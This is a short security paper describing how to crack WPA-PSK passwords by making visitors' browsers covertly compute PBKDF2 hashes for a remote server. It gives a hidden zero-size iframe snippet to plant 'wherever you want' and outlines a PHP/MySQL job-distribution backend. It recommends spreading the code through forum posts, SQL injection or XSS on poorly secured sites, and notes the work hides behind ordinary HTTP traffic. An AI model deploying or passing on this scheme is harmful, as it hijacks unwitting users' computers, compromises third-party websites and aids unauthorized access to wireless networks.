Parasitic approach to cracking WPA passwords

Michal Rogala
michal.rogala@gmail.com
http://www.michalrogala.com/security/wpa

1. Preface

Since introduction of the WPA protocol, efforts are being made to find cost effective way to crack WiFi networks protected by PSK (Pre-Shared Key) mode. As PBKDF2 algorithm used do derive authorization key from user password needs large amount of CPU cycles (technically it's SHA-1 hash computed 4096 times), brute-force or even big-dictionary attacks take too much time to be considered effective. Situation is complicated by WPA-PSK using AP ESSID name as salt to PBKDF2, making generation of public RAINBOW tables possible only for a set of vendor-default ESSIDs.

As high speed NVidia or AMD graphic accelerators, which significantly increase speed of WPA password cracking, are not widely popular, another approach to the topic emerged.

2. Parasitic computing

Parasitic computing is a term referring to a situation when one exploits processing power of many computer machines without knowledge of their owners. In probably all academic examples, such computations are made without executing own code on the machines –using instead authorized interactions to process data – ie. using TCP checksums to solve mathematical problems. In our case – we will provide each "parasited" computer a code to compute PBKDF2 hash.

Parasitic computing approach may be used in particular scenarios:

1. Creating large, distributed computing network, extending processing power of own hardware.
2. Cracking passwords without involving own processing power (costs of energy, hardware, possibility to hide process, etc).

3. Concept

Concept of parasitic WPA cracking involves Internet users browsing ordinary web pages. In hypothetical situation a web page can contain Javascript code, which connects to a specified server using *XMLHttpRequest*, fetches data to process, computes PBKDF2 hash and sends it back without noticing user of what is happening.

Of course it's hard to expect anyone that wishes to use that technique to have administrative access to large web sites to include such Javascript code. Instead, other techniques can be used:

- Placing code into harmless-looking posts on popular internet discussion boards. Most board engines prevent people from placing their own html tags other than text formatting but some are not.
- Exploiting SQL injection, XSS or other hacking techniques on poorly secured web sites (there are lot of automatic tools for mass web site defacing)
- Maintaining own network of automated blogs generating content from RSS. Those kinds of blogs (especially one topic targeted) tend to be visited by many people. This of course can be done using free hosting services.

One of the biggest issue in placing evil code is that web browsers prevent making *XMLHttpRequest* to different domains than the one web page originates from. Even if loaded using *<script src="http://our server/...">*. This was solved using invisible IFrame loading page containing our script. Within this frame all needed requests are permitted.

This paper comes with implemented set of scripts which demonstrate the concept. Those can be found at http://www.michalrogala.com/security/wpa/scripts.zip

Implementation is based on MySQL database distributing ESSID-password pairs to clients and gathering back computed PBKDF2 hashes. Interface to MySQL is written in PHP and uses Sajax library to handle Ajax requests from client. It is one *index.php* file which exports 2 functions: *request_key* and *upload_key*.

When IFrame loads *index.php*, Javascript code calls *request_key* and receives ESSID and password. From this values hash is computed using PBKDF2 Javascript implementation (from http://anandam.name/pbkdf2/) and *upload_key* is called to save the value in the database.

At the SQL level (using transactions) race conditions are prevented when distributing passwords to many clients simultaneously. Also timestamp for every transaction is saved and allows to track timeouts ("*call wpa_timeout()"* SQL statement needs to be executed from time to time).

Db.sql scripts generates three tables:

- *passwords* – keeping all passwords we want to compute hash from.
- *essid* – keeping all AP ESSID values which we want to compute hashes for.
- *crypt* – table containing hashes for every possible ESSID/password pair.

Remember to execute "*call wpa_update()*" SQL statement every time you add something to either *passwords* or *essid* table. You can load sample passwords using *passwords.sql* script.

At the end, edit *index.php* to set all needed information to connect to database. When you connect to the web server you should see debugging information about computing PBKDF2 hash.

To begin parasitic computing, just place

<iframe src="http://your.server/index.php"
style="display:none;visibility:hidden;height:1px;"></iframe>

code wherever you want and watch the database for hash updates.

4. Conclusions

Cracking WPA passwords or any other purpose of parasitic computing using web pages and Javascript can only be effective if CPU cost of handling both HTTP requests (including database operations) is less than cost of computing single operation on server. There is of course possibility to force client to process more data per request but this can be difficult to approach. For example computing BPKDF2 hash on Firefox 3.0.6 on Pentium Core 2 Duo 1.5 GHz (only one core used by browser) takes about 25 seconds. This is extremely slow as usually one core of such processor computes about 100 hashes per second. Therefore user must stay at parasitic webpage for minimum 25 seconds for computation to complete, otherwise hash must be considered lost and, after a timeout, assigned to another user to process. Situation will change positively in near future as new, extremely fast Javascript engines are being developed for browsers to handle modern Web 2.0 services.

As it can be seen, this technique can be only effective if particular machine can serve more HTTP transactions (requesting and uploading a key) than compute hashes. Of course this looks quite different for processing data on (usually free) hosting servers and not using own machines. As running CPU consuming applications is almost always prohibited (and easy to spot) this is probably the only way to process large amounts of hashes and hide it behind ordinary HTTP traffic.